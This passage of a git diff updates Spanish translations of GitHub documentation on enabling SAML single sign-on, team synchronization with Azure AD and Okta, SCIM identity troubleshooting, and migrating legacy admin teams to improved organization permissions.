-For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+Para obtener más información sobre los proveedores de identidad (IdP) que son compatibles con {% data variables.product.company_short %} para el SSO de SAML, consulta la sección "[Conectar tu proveedor de identidad a tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", select **Enable SAML authentication**.
-![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png)
+5. En "inicio de sesión único SAML", selecciona **Habilitar autenticación SAML**. ![Casilla de verificación para habilitar SAML SSO](/assets/images/help/saml/saml_enable.png)
 
   {% note %}
 
-  **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)."
+  **Nota:** Luego de habilitar SAML SSO, puedes descargar tus códigos de recuperación de inicio de sesión único para poder acceder a tu organización aun cuando tu IdP no se encuentre disponible. Para obtener más información, consulta "[Descargar los códigos de recuperación de inicio de sesión único SAML de tu organización](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)".
 
   {% endnote %}
 
-6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png)
-7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under "Public Certificate," paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
+6. En el campo "URL de inicio de sesión único", escribe el extremo del HTTPS de tu IdP para las solicitudes de inicio de sesión único. Este valor se encuentra en la configuración de tu IdP. ![Campo para la URL a la que los miembros serán redireccionados cuando inicien sesión](/assets/images/help/saml/saml_sign_on_url.png)
+7. También puedes escribir tu nombre de emisor SAML en el campo "Emisor". Esto verifica la autenticidad de los mensajes enviados. ![Campo para el nombre del emisor SAML](/assets/images/help/saml/saml_issuer.png)
+8. En "Certificado público", copia un certificado para verificar las respuestas SAML. ![Campo para el certificado público de tu proveedor de identidad](/assets/images/help/saml/saml_public_certificate.png)
+9. Haz clic en {% octicon "pencil" aria-label="The edit icon" %} y luego en los menús desplegables de Método de firma y Método de resumen y elige el algoritmo de hash que usa tu emisor SAML para verificar la integridad de las solicitudes. ![Menús desplegables para los algoritmos de hash del Método de firma y del Método de resumen usados por tu emisor SAML](/assets/images/help/saml/saml_hashing_method.png)
+10. Antes de habilitar SAML SSO para tu organización, haz clic en **Probar la configuración de SAML** para asegurarte de que la información que has ingresado sea correcta. ![Botón para probar la configuración de SAML antes de exigir el inicio de sesión único](/assets/images/help/saml/saml_test.png)
 
   {% tip %}
 
-  **Tip:** {% data reusables.saml.testing-saml-sso %}
+  **Sugerencia:**{% data reusables.saml.testing-saml-sso %}
 
   {% endtip %}
-11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
-![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png)
-12. Click **Save**.
-![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png)
+11. Para implementar SAML SSO y eliminar a todos los miembros de la organización que no se hayan autenticado mediante tu IdP, selecciona **Require SAML SSO authentication for all members of the _organization name_ organization**.** (Requerir autenticación SAML SSO a todos los miembros de la organización [nombre de la organización]). Para obtener más información acerca de la exigencia de SAML SSO, consulta "[Exigir inicio de sesión único SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)". ![Casilla de verificación para requerir SAML SSO para tu organización ](/assets/images/help/saml/saml_require_saml_sso.png)</p></li>
+12
+Haz clic en **Save ** (guardar). ![Botón para guardar la configuración de SAML SSO](/assets/images/help/saml/saml_save.png)</ol>
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Acerca de la administración de identidad y el acceso con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
index 4a825c5770..c596129cc0 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md
@@ -1,8 +1,8 @@
 ---
-title: Managing SAML single sign-on for your organization
-intro: Organization owners can manage organization members' identities and access to the organization with SAML single sign-on (SSO).
+title: Administrar el inicio de sesión único de SAML para tu organización
+intro: Los propietarios de la organización pueden administrar las identidades de sus miembros y el acceso a esta con el inicio de sesión único (SSO) de SAML.
 redirect_from:
-  - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on/
+  - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on
   - /articles/managing-saml-single-sign-on-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/managing-saml-single-sign-on-for-your-organization
 versions:
@@ -22,6 +22,6 @@ children:
   - /managing-team-synchronization-for-your-organization
   - /accessing-your-organization-if-your-identity-provider-is-unavailable
   - /troubleshooting-identity-and-access-management
-shortTitle: Manage SAML single sign-on
+shortTitle: Administrar el inicio de sesión único de SAML
 ---
 
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
index 353f17c351..ca72286040 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team synchronization for your organization
-intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.'
+title: Administrar la sincronización de equipos para tu organización
+intro: 'Puedes habilitar e inhabilitar la sincronización entre tu Proveedor de Identidad (IdP) y tu organización en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/synchronizing-teams-between-your-identity-provider-and-github
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github
@@ -13,14 +13,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team synchronization
+shortTitle: Administrar la sincronización de equipos
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Acerca de la sincronización de equipo
 
-You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups.
+Puedes habilitar la sincronización de equipos entre tu IdP y {% data variables.product.product_name %} para permitir a los propietarios de la organización y a los mantenedores de equipo conectar equipos en tu organización con grupos de IdP.
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
@@ -28,25 +28,25 @@ You can enable team synchronization between your IdP and {% data variables.produ
 
 {% data reusables.identity-and-permissions.sync-team-with-idp-group %}
 
-You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+También puedes habilitar la sincronización de equipos para las organizaciones que pertenezcan a tu cuenta empresarial. Para obtener más información, consulta la sección "[Administrar la sincronización de equipos para las organizaciones de tu empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).
 
 {% data reusables.enterprise-accounts.team-sync-override %}
 
 {% data reusables.identity-and-permissions.team-sync-usage-limits %}
 
-## Enabling team synchronization
+## Habilitar la sincronización de equipo
 
-The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites.
+Los pasos para habilitar la sincronización de equipos dependen del IdP que quieras utilizar. Existen prerrequisitos aplicables a cada IdP para habilitar la sincronización de equipos. Cada IdP individual tiene prerrequisitos adicionales.
 
-### Prerequisites
+### Prerrequisitos
 
 {% data reusables.identity-and-permissions.team-sync-required-permissions %}
 
-You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+Debes habilitar el inicio de sesión único de SAML para tu organización y tu IdP compatible. Para obtener más información, consulta la sección "[Requerir el inicio de sesión único de SAML en tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)".
 
-You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+Debes tener una identidad de SAML vinculada. Para crear una identidad vinculada, debes autenticarte a tu organización utilizando el SSO de SAML y el IdP compatible por lo menos una vez. Para obtener más información, consulta "[Acerca de la autenticación con el inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)".
 
-### Enabling team synchronization for Azure AD
+### Habilitar la sincronización de equipos para Azure AD
 
 {% data reusables.identity-and-permissions.team-sync-azure-permissions %}
 
@@ -56,18 +56,17 @@ You must have a linked SAML identity. To create a linked identity, you must auth
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.enable-team-sync-azure %}
 {% data reusables.identity-and-permissions.team-sync-confirm %}
-6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**.
-  ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
+6. Revisa la información de locatario del proveedor de identidad que deseas conectar a tu organización, después haz clic en **Approve (Aprobar)**. ![Solicitud pendiente para habilitar la sincronización de equipo a un locatario IdP específico con la opción de aprobar o cancelar la solicitud](/assets/images/help/teams/approve-team-synchronization.png)
 
-### Enabling team synchronization for Okta
+### Habilitar la sincronización de equipos para Okta
 
-Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization.
+La sincronización de equipos de Okta requiere que ya se hayan configurado el SAML y SCIM con Okta en tu organización.
 
-To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. 
+Para evitar los errores potenciales de sincronización de equipos, de recomendamos que confirmes que las entidades de SCIM enlazadas se hayan configurado correctamente para los miembros de la organización que son miembros de tus grupos selectos de Okta antes de habilitar la sincronización de equipos en {% data variables.product.prodname_dotcom %}.
 
-If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them.
+Si un miembro de la organización no tiene una identidad de SCIM enlazada, entonces la sincronización de equipos no funcionará como lo esperas y el usuario podría no agregarse o eliminarse de los equipos de acuerdo con lo esperado. Si cualquiera de estos usuarios no tiene una identidad de SCIM enlazada, necesitarás volver a aprovisionarlos.
 
-For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)."
+Para obtener ayuda para aprovisionar usuarios que no tengan una identidad de SCIM enlazada, consulta la sección "[Solución de problemas para la administración de identidad y acceso](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)".
 
 {% data reusables.identity-and-permissions.team-sync-okta-requirements %}
 
@@ -76,19 +75,16 @@ For help on provisioning users that have missing a missing SCIM linked identity,
 {% data reusables.organizations.security %}
 {% data reusables.identity-and-permissions.team-sync-confirm-saml %}
 {% data reusables.identity-and-permissions.team-sync-confirm-scim %}
-1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+1. Considera requerir SAML en tu organización para garantizar que los miembros de ella enlacen sus identidades de SAML y de SCIM. Para obtener más información, consulta la sección "[Requerir el inicio de sesión único de SAML en tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)".
 {% data reusables.identity-and-permissions.enable-team-sync-okta %}
-7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance.
-  ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
-6. Review the identity provider tenant information you want to connect to your organization, then click **Create**.
-  ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png)
+7. Debajo del nombre de tu organización, teclea un token SSWS válido y la URL de tu instancia de Okta. ![Formulario organizacional de Okta para habilitar la sincronización de equipos](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png)
+6. Revisa la información de locatario del proveedor de identidad que deseas conectar a tu organización, después da clic en **Crear**. ![Botón de crear en habilitar la sincronización de equipos](/assets/images/help/teams/confirm-team-synchronization-okta.png)
 
-## Disabling team synchronization
+## Inhabilitar la sincronización de equipo
 
 {% data reusables.identity-and-permissions.team-sync-disable %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "Team synchronization", click **Disable team synchronization**.
-  ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
+5. Dentro de "Team synchronization" (Sincronización de equipo), haz clic en **Disable team synchronization (Inhabilitar la sincronización de equipo)**. ![Inhabilita la sincronización de equipo](/assets/images/help/teams/disable-team-synchronization.png)
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
index 8af5f30451..e68f668e07 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to enforce SAML single sign-on in your organization
-intro: 'Before you enforce SAML single sign-on in your organization, you should verify your organization''s membership and configure the connection settings to your identity provider.'
+title: Prepararse para aplicar el inicio de sesión único SAML en tu organización
+intro: 'Antes de aplicar el inicio de sesión único de SAML en tu organización, deberías verificar la membresía de tu organización y configurar las configuraciones de conexión para tu proveedor de identidad.'
 redirect_from:
   - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Prepare to enforce SAML SSO
+shortTitle: Prepararse para requerir el SSO de SAML
 ---
 
-{% data reusables.saml.when-you-enforce %} Before enforcing SAML SSO in your organization, you should review organization membership, enable SAML SSO, and review organization members' SAML access. For more information, see the following.
+{% data reusables.saml.when-you-enforce %} Antes de requerir el SSO de SAML en tu organización, debes revisar la membrecía de la misma, habilitar el SSO de SAML y revisar el acceso de SAML de los miembros de esta. Para obtener más información, consulta lo siguiente.
 
-| Task | More information |
-| :- | :- |
-| Add or remove members from your organization | <ul><li>"[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Removing a member from your organization](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
-| Connect your IdP to your organization by enabling SAML SSO | <ul><li>"[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
-| Ensure that your organization members have signed in and linked their accounts with the IdP | <ul><li>"[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
+| Tarea                                                                                                     | Más información           |
+|:--------------------------------------------------------------------------------------------------------- |:------------------------- |
+| Agregar o eliminar miembros de tu organización                                                            | <ul><li>"[Invitar a los usuarios para que se unan a tu organización](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)"</li><li>"[Eliminar a un miembro de tu organización](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)"</li></ul> |
+| Conecta tu IdP a tu organización habilitando el SSO de SAML                                               | <ul><li>"[Conectar tu proveedor de identidad a tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)"</li><li>"[Habilitar y probar el inicio de sesión único de SAML para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)"</li></ul> |
+| Asegurar que los miembros de tu organización se hayan registrado y hayan vinculado sus cuentas con tu IdP | <ul><li>"[Visualizar y administrar el acceso de SAML de un miembro en tu organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)"</li></ul> |
 
-After you finish these tasks, you can enforce SAML SSO for your organization. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
+Después de que termines con estas tareas, puedes requerir el SSO de SAML en tu organización. Para obtener más información, consulta la sección "[Requerir el inicio de sesión único de SAML en tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)".
 
 {% data reusables.saml.outside-collaborators-exemption %}
diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
index 5e33eb9458..bc5f37ea24 100644
--- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
+++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md
@@ -21,7 +21,7 @@ To check whether users have a SCIM identity (SCIM metadata) in their external id
 
 #### Auditing organization members on {% data variables.product.prodname_dotcom %}
 
-As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`: 
+As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `<organization>` and `<username>`:
 
 > `https://github.com/orgs/<organization>/people/<username>/sso`
 
@@ -29,19 +29,19 @@ If the user's external identity includes SCIM metadata, the organization owner s
 
 #### Auditing organization members through the {% data variables.product.prodname_dotcom %} API
 
-As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. 
+As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization.
 
-#### Using the REST API
+#### Utilizar la API de REST
 
 The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members.
 
-For more information, see:
+Para obtener más información, consulta:
   - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)"
   - "[List organization members](/rest/reference/orgs#list-organization-members)"
 
 #### Using GraphQL
 
-This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. 
+This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name.
 
 ```graphql
 {
@@ -72,7 +72,7 @@ This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% d
 curl -X POST -H "Authorization: Bearer <personal access token>" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username}  user { login } } } } } } }" }'  https://api.github.com/graphql
 ```
 
-For more information on using the GraphQL API, see: 
+For more information on using the GraphQL API, see:
    - "[GraphQL guides](/graphql/guides)"
    - "[GraphQL explorer](/graphql/overview/explorer)"
 
@@ -82,4 +82,4 @@ You can re-provision SCIM for users manually through your IdP. For example, to r
 
 To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)."
 
-If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
\ No newline at end of file
+If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support.
diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
index 861713d54e..dc437035a3 100644
--- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
+++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
@@ -1,8 +1,8 @@
 ---
-title: Converting an admin team to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: Convertir un equipo de administradores a los permisos de organización mejorados
+intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización ha mejorado los permisos de la organización por defecto. Las organizaciones creadas antes de septiembre de 2015 pueden necesitar migrar a los antiguos equipos de propietarios y administradores al modelo mejorado de permisos. Los miembros de los equipos de administradores heredados conservan de forma automática la capacidad para crear repositorios hasta que esos equipos sean migrados al modelo mejorado de permisos de la organización.'
 redirect_from:
-  - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions/
+  - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions
   - /articles/converting-an-admin-team-to-improved-organization-permissions
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-admin-team-to-improved-organization-permissions
 versions:
@@ -12,23 +12,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert admin team
+shortTitle: Convertir el equipo de administradores
 ---
 
-You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team.
+Puedes eliminar la capacidad de los miembros del equipo de administración heredado para crear repositorios al crear un nuevo equipo para esos miembros, asegurándote de que el equipo tenga el acceso necesario a los repositorios de la organización, y eliminando el equipo de administración heredado.
 
-For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
 {% warning %}
 
-**Warnings:**
-- If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories.
-- To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team.
-- Because "admin" is a term for organization members with specific [access to certain repositories](/articles/repository-permission-levels-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on.
+**Advertencias:**
+- Si hay miembros de su equipo de administración heredados que no son miembros de otros equipos, la eliminación del equipo eliminará a esos miembros de la organización. Antes de eliminar el equipo, asegúrate de que los miembros ya sean miembros directos de la organización, o que tengan acceso de colaborador a los repositorios necesarios.
+- Para evitar la pérdida de bifurcaciones privadas realizadas por los miembros del equipo de administradores heredado, debes seguir los pasos 1-3 a continuación antes de eliminar el equipo de administradores heredado.
+- Dado que "admin" es un término para los miembros de la organización con [acceso específico a determinados repositorios](/articles/repository-permission-levels-for-an-organization) en la organización, te recomendamos evitar ese término en cualquier nombre de equipo sobre el que puedas decidir.
 
 {% endwarning %}
 
-1. [Create a new team](/articles/creating-a-team).
-2. [Add each of the members](/articles/adding-organization-members-to-a-team) of your legacy admin team to the new team.
-3. [Give the new team equivalent access](/articles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access.
-4. [Delete the legacy admin team](/articles/deleting-a-team).
+1. [Crear un equipo nuevo](/articles/creating-a-team).
+2. [Agregar cada uno de los miembros](/articles/adding-organization-members-to-a-team) de tu equipo de administradores heredado al nuevo equipo.
+3. [Brindar al equipo nuevo el acceso equivalente](/articles/managing-team-access-to-an-organization-repository) a cada uno de los repositorios a los que podía acceder el equipo heredado.
+4. [Eliminar el equipo de administradores heredado](/articles/deleting-a-team).
diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
index 793e787fff..2dfbc801fe 100644
--- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
+++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
@@ -2,8 +2,8 @@
 title: Convertir un equipo de Propietarios a los permisos de organización mejorados
 intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización ha mejorado los permisos de la organización por defecto. Las organizaciones creadas antes de septiembre de 2015 pueden necesitar migrar a los antiguos equipos de propietarios y administradores al modelo mejorado de permisos. El "Propietario" ahora tiene un rol administrativo otorgado a los miembros individuales de tu organización. Los miembros de tu equipo de Propietarios heredado automáticamente reciben los privilegios del propietario.'
 redirect_from:
-  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program/
-  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions/
+  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program
+  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions
   - /articles/converting-an-owners-team-to-improved-organization-permissions
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-owners-team-to-improved-organization-permissions
 versions:
diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/index.md
index 2ae57d78dd..92f77acba9 100644
--- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/index.md
+++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/index.md
@@ -2,9 +2,9 @@
 title: Migrar a permisos de organización mejorados
 intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización incluye los permisos de la organización mejorados por defecto. Es posible que las organizaciones creadas antes de septiembre de 2015 necesiten migrar a los antiguos equipos de administradores para el modelo mejorado de permisos de la organización.'
 redirect_from:
-  - /articles/improved-organization-permissions/
-  - /articles/github-direct-organization-membership-pre-release-guide/
-  - /articles/migrating-your-organization-to-improved-organization-permissions/
+  - /articles/improved-organization-permissions
+  - /articles/github-direct-organization-membership-pre-release-guide
+  - /articles/migrating-your-organization-to-improved-organization-permissions
   - /articles/migrating-to-improved-organization-permissions
   - /github/setting-up-and-managing-organizations-and-teams/migrating-to-improved-organization-permissions
 versions:
diff --git a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
index b25dc825a5..cd430ad726 100644
--- a/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
+++ b/translations/es-ES/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
@@ -1,8 +1,8 @@
 ---
-title: Migrating admin teams to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: Migrar los equipos de administradores a permisos de organización mejorados
+intro: 'Si tu organización fue creada después de septiembre de 2015, tu organización ha mejorado los permisos de la organización por defecto. Las organizaciones creadas antes de septiembre de 2015 pueden necesitar migrar a los antiguos equipos de propietarios y administradores al modelo mejorado de permisos. Los miembros de los equipos de administradores heredados conservan de forma automática la capacidad para crear repositorios hasta que esos equipos sean migrados al modelo mejorado de permisos de la organización.'
